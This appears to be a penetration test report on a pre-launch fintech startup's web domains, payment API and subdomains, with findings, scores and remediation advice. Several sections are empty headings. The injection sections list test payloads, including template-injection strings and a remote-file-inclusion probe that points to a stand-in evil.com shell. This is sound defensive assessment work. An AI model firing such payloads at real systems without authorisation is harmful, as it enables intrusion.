VAPT Report: company-c.example.com

🛡 1. Executive Summary

company-c.example.com operates a much larger infrastructure than initially visible. Deep OSINT and JS bundle analysis uncovered a live backend API server, a payment processing UI with Razorpay integration, and a portfolio of 12+ registered domains.

Infrastructure Overview

• Main domain (company-c.example.com): Static React + Vite SPA on Fastly CDN (IP: 10.0.3.1). Marketing/waitlist landing page.
• Backend API (redacted-api.vercel.app): LIVE Express.js API on Vercel with active payment endpoints including Razorpay integration. Contains hardcoded PII.
• Payment Frontend (redacted-ui.vercel.app): React app on Vercel with Razorpay checkout and split payment UI.
• Canva Marketing Site (company-cments.my.canva.site/main): Older marketing page with company details.
• 12+ registered domains: All on Linode OpenResty servers showing "Coming Soon".
• Subdomains (*.company-c.example.com): Wildcard DNS resolves ALL subdomains to 5 Linode servers running OpenResty/xxx.xxx.xxx.xxx (nginx-based). These serve a generic "Coming Soon" page that dynamically reflects the subdomain name in the HTML, creating a potential attack vector.

Overall Risk Assessment

Can an Attacker...

📋 2. Finding Summary Table

⚠️ 2A. Exploitability Scores & India Threat Landscape

India Cybercrime Context — Why This Matters NOW

In this context: Company C, a fintech startup handling payment infrastructure, has 4 CRITICAL vulnerabilities that are trivially exploitable. India saw Rs 22,845 crore lost to cybercrime in 2025 alone. An unprotected payment API is a magnet for attackers.

Exploitability Scorecard — Every Finding Rated

The Exploitability Score rates how easy it is for an attacker to exploit the vulnerability:

• 10/10 = A script kiddie with Google can do it in 5 minutes
• 7-9/10 = An average attacker with basic tools can do it in under an hour
• 4-6/10 = Requires moderate skill, some setup, or specific conditions
• 1-3/10 = Requires advanced expertise, insider access, or rare conditions

Exploitability Distribution

Key takeaway: 13 out of 25 findings (52%) have an exploitability score of 7/10 or higher, meaning they can be exploited by an attacker with basic skills and freely available tools. The 4 CRITICAL findings (F18, F19, F20, F21) are literally exploitable by visiting a URL in a web browser — no hacking tools, no special knowledge needed.

How Company C Compares to Industry Benchmarks

India-Specific Threat Intelligence for Company C

Real-World Parallels — "This Has Happened Before in India"

The pattern is clear: Every vulnerability found in Company C has been exploited against Indian companies in 2025. This is not theoretical — these attacks are happening daily at scale in India.

💰 2B. Business Impact & Real-World Attack Scenarios

This section explains in plain language what a real attacker could do with each vulnerability, what the business stands to lose, and how it would play out step-by-step.

Impact Summary for Management

Bottom line: The combination of an unauthenticated live payment API, exposed PII, wildcard CORS, and public source code creates an immediate and exploitable attack chain. An attacker with moderate skill could cause significant financial and reputational damage today, before the platform even officially launches.

🔒 3. CRITICAL: Discovered Backend API & Payment Infrastructure

3.1 Discovery Method

Analysis of the JavaScript bundle at redacted-ui.vercel.app/static/js/main.0b75b70c.js (referenced via GitHub repo dev-user-1/Company C-UI) revealed a hardcoded backend API URL:

https://redacted-api.vercel.app/api

This API server is LIVE, running Express.js on Vercel, and contains active payment processing endpoints with Razorpay integration.

access-control-allow-origin: *

"key" : "undefined"

x-powered-by: Express

A server error has occurred
FUNCTION_INVOCATION_FAILED
REDACTED_FUNCTION_ID

3.8 API Endpoint Map

🌐 4. CRITICAL: Full Domain Portfolio Discovery

4.2 Vercel-Hosted Applications (Hidden Infrastructure)

4.3 Linode Server Inventory (5 Servers)

4.4 OSINT: Company Intelligence

🖥 5. Target Architecture & Reconnaissance

5.1 Technology Stack

5.2 Subdomain IP Mapping (5 Linode Servers)

CRITICAL NOTE: Subdomains like db, redis, mongo, postgres, jenkins, grafana, prometheus resolve to live servers. While they currently serve "Coming Soon" pages, the naming suggests these may eventually host sensitive infrastructure. Any of these names becoming active services without proper security is extremely high risk.

5.3 Application Architecture — Main Domain

• Single JS bundle: /assets/index-BpBEC52j.js (~388KB minified)
• Single CSS file: /assets/index-M5wXO4nG.css
• Client-side routing: Anchor-based (#features, #how-it-works, #integrate, #contact, #early-access)
• No backend API: /api/premium-content reference in JS returns SPA fallback
• No forms: Zero <form> elements on the page
• No user input fields: No text inputs, no search, no login
• No cookies: document.cookie is empty
• No localStorage/sessionStorage: Both empty
• No iframes: None embedded
• External links: LinkedIn (linkedin.com/company/redacted), mailto (redacted-c@gmail.com)
• External reference: qr.company-c-alt1.example.com domain (not resolvable)

5.4 DNS Configuration

🔐 6. SSL/TLS Configuration Assessment

6.1 Certificate Details

6.2 Protocol & Cipher Suite Testing

Note: Initial testing showed false positives for weak ciphers because TLS 1.3 negotiation ignores the -cipher flag. Re-testing with -tls1_2 confirmed all weak cipher suites are properly rejected.

🛡 7. Security Headers Analysis

7.1 Complete Header Audit — Main Domain

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' https://fonts.googleapis.com 'unsafe-inline'; font-src https://fonts.gstatic.com; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests

💽 8. Injection Attack Testing (XSS, SQLi, Command Injection)

8.1 Cross-Site Scripting (XSS)

8.1.1 Reflected XSS — Main Domain

Result: The main domain serves a completely static HTML file. No query parameters, no URL paths, no headers are reflected in the response body. XSS is not possible on the main domain in its current state.

8.1.2 Reflected XSS — Subdomains

Assessment: The OpenResty wildcard servers reflect the requested subdomain name directly into <h1> and <title> without sanitization. While direct exploitation via browser is limited by DNS character restrictions, this is a design weakness.

8.1.3 Stored XSS

Result: NOT APPLICABLE — No user input storage mechanism exists (no forms, no comments, no database).

8.1.4 DOM-Based XSS

Result: No dynamic URL parameter handling observed. The React SPA uses virtual DOM which inherently prevents most DOM XSS. LOW RISK.

8.2 SQL Injection (SQLi)

Result: SQL Injection is NOT POSSIBLE. Every payload returns the identical 2553-byte static HTML file. There is no database and no server-side query processing.

8.3 Command Injection (OS Command Injection)

Result: Command injection is NOT POSSIBLE. No server-side processing of any parameters.

8.4 Server-Side Template Injection (SSTI)

Payloads {{7*7}}, ${7*7}, {{constructor.constructor('return this')()}} tested. NOT APPLICABLE — No template engine processing server-side.

📄 9. Content Injection & Defacement Testing

9.1 Can Anyone Inject Malicious Content on the Homepage?

Verdict: It is NOT possible to inject content or deface the homepage via HTTP requests. The site is served from Fastly CDN as cached static files. The only ways to change content are: compromising the deployment pipeline, Fastly credentials, DNS hijacking, or subdomain abuse (see F02).

9.2 Defacement Risk via Subdomain Abuse

This is the most viable attack path for brand damage. Since *.company-c.example.com resolves to servers that display the subdomain name, an attacker who gains control of any of the 5 Linode servers could host malicious content on login.company-c.example.com, create phishing pages on secure-payment.company-c.example.com, or display inappropriate content under the company-c.example.com domain.

Risk Level: MEDIUM-HIGH (depends on server security)

⚡ 10. DDoS & Rate Limiting Assessment

10.1 Rate Limiting Tests — Main Domain (Fastly CDN)

Response times under 100-request burst:

Subdomain Servers (Linode/OpenResty)

🌐 11. Subdomain Security & Takeover Testing

Request: https://anything-you-want.company-c.example.com/
Response: <title>anything-you-want.company-c.example.com - Coming Soon</title>
          <h1>anything-you-want.company-c.example.com</h1>

11.2 Subdomain Takeover Risk

If any of these 5 Linode VPS instances is shut down without removing DNS, a Linode customer could potentially claim that IP address and serve content under *.company-c.example.com.

🔌 12. Host Header & Cache Poisoning Attacks

Result: Host header injection and cache poisoning are NOT exploitable. Fastly properly validates the Host header and returns 404 for unrecognized domains. OpenResty blocks malformed Host headers.

📁 13. File & Directory Enumeration

13.1 Main Domain — Sensitive Path Scanning (27 paths tested)

ALL paths return the identical 2553-byte SPA HTML. This confirms the Fastly CDN serves a catch-all response — no sensitive files are exposed.

13.2 Subdomain Servers — Path Scanning

Note: /.env and /server-status return empty 0-byte responses on subdomain servers, unlike other paths. This warrants further investigation if these subdomains become active.

13.3 Source Code Exposure

🔗 14. SSRF, LFI, RFI Testing

14.1 Server-Side Request Forgery (SSRF)

Result: SSRF is NOT POSSIBLE. All responses are the static SPA. No server-side URL fetching occurs.

14.2 Local File Inclusion (LFI)

Result: LFI is NOT POSSIBLE. Static CDN serving, no file inclusion mechanism.

14.3 Remote File Inclusion (RFI)

?page=http://evil.com/shell.php — HTTP 200, static SPA (2553 bytes) — NOT VULNERABLE.

🔀 15. CORS & Cross-Origin Testing

Result: No CORS headers are returned on the main domain. This is acceptable for a static site with no API endpoints. The browser's same-origin policy provides sufficient protection.

Future concern: When APIs are added, CORS must be configured carefully. A permissive Access-Control-Allow-Origin: * on payment APIs would be catastrophic.

🔑 16. Session & Authentication Analysis

16.1 Current State

Result: No session management or authentication exists on the current site. This entire attack surface is NOT APPLICABLE currently.

16.2 Pre-Launch Recommendations

When authentication is implemented:

• Use HttpOnly, Secure, SameSite=Strict cookies for session tokens
• Implement CSRF protection on all state-changing endpoints
• Use strong password hashing (bcrypt/argon2)
• Implement account lockout after failed attempts
• Add MFA for admin/dashboard access
• Session timeout after inactivity
• Secure token rotation on privilege escalation

🔃 17. Open Redirect Testing

Result: No open redirect vulnerabilities found. All parameter-based tests return the static SPA.

🔧 18. HTTP Method Abuse Testing

🔍 19. Information Disclosure & OSINT

19.4 JS Bundle Intelligence

⚖ 20. Compliance & Regulatory Gaps

20.2 Pre-Launch Compliance Checklist

• Draft and publish Privacy Policy (DPDPA compliant)
• Draft and publish Terms of Service
• Obtain PCI-DSS certification before handling card data
• Apply for RBI PA/PG license
• Implement data localization (India-only storage)
• Set up breach notification process
• Appoint Data Protection Officer (DPO) if required
• Cookie consent mechanism (when cookies are used)

✅ 21. Positive Findings (What's Good)

📈 22. Risk Matrix & Prioritized Remediation

P0 — Fix IMMEDIATELY (Today)

P0.5 — Fix Within 48 Hours

P1 — Fix Within 1 Week

P2 — Fix Within 30 Days

P3 — Nice to Have

🛠 23. Methodology & Tools

23.1 Testing Phases

23.2 Total Tests Executed

📜 24. Disclaimer

This assessment was performed as an external black-box penetration test with documented consent from management and the security team. The scope was limited to the publicly accessible company-c.example.com domain and all discovered subdomains.

Limitations

• No access to source code, server configurations, or internal networks
• No access to Fastly, Linode, or deployment pipeline configurations
• The site is in pre-launch state — most application-layer tests (auth, payment, API) are not yet applicable
• Rate limiting tests were limited to avoid service disruption
• No social engineering or physical security testing performed

Recommendation

A comprehensive grey-box or white-box assessment is strongly recommended before the platform processes any real payments or user data. This should include:

• Source code review
• Infrastructure configuration audit (Fastly VCL, OpenResty configs, Linode firewall rules)
• CI/CD pipeline security review
• API security testing (when endpoints are live)
• PCI-DSS gap assessment